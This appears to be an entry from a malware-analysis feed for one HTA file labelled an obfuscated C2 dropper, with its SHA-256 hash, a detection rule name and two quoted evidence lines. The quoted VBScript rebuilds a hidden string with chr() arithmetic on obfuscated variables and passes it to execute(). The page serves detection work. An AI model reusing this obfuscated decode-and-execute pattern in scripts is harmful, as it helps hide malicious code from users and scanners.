Suspicious 80% Download

0f0de0a1fe03d028e395189c38736742f05b61834363d4dec12b3f6c27719ec0.hta

obfuscated C2 dropper

Chr of an identifier minus anotherWSH executes a reconstructed variable
SHA-2560f0de0a1fe03d028e395189c38736742f05b61834363d4dec12b3f6c27719ec0
MaleculeO₂(CAs)

Evidence

Chr of an identifier minus another lines 6–7
6:66… SLfpeLcA - 1) : HeHEkMOzwbMqrfjsTXASsHzpffcHMVcEVvZNd = HeHEkMOzwbMqrfjsTXASsHzpffcHMVcEVvZNd & chr(ipslIhHoOVtDMwTY - qKUhZcMGqtgDjwewGkaCi) : next : execute(HeHEkMOzwbMqrfjsTXASsHzpffcHMVcEVvZNd)
7</script></head></html>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.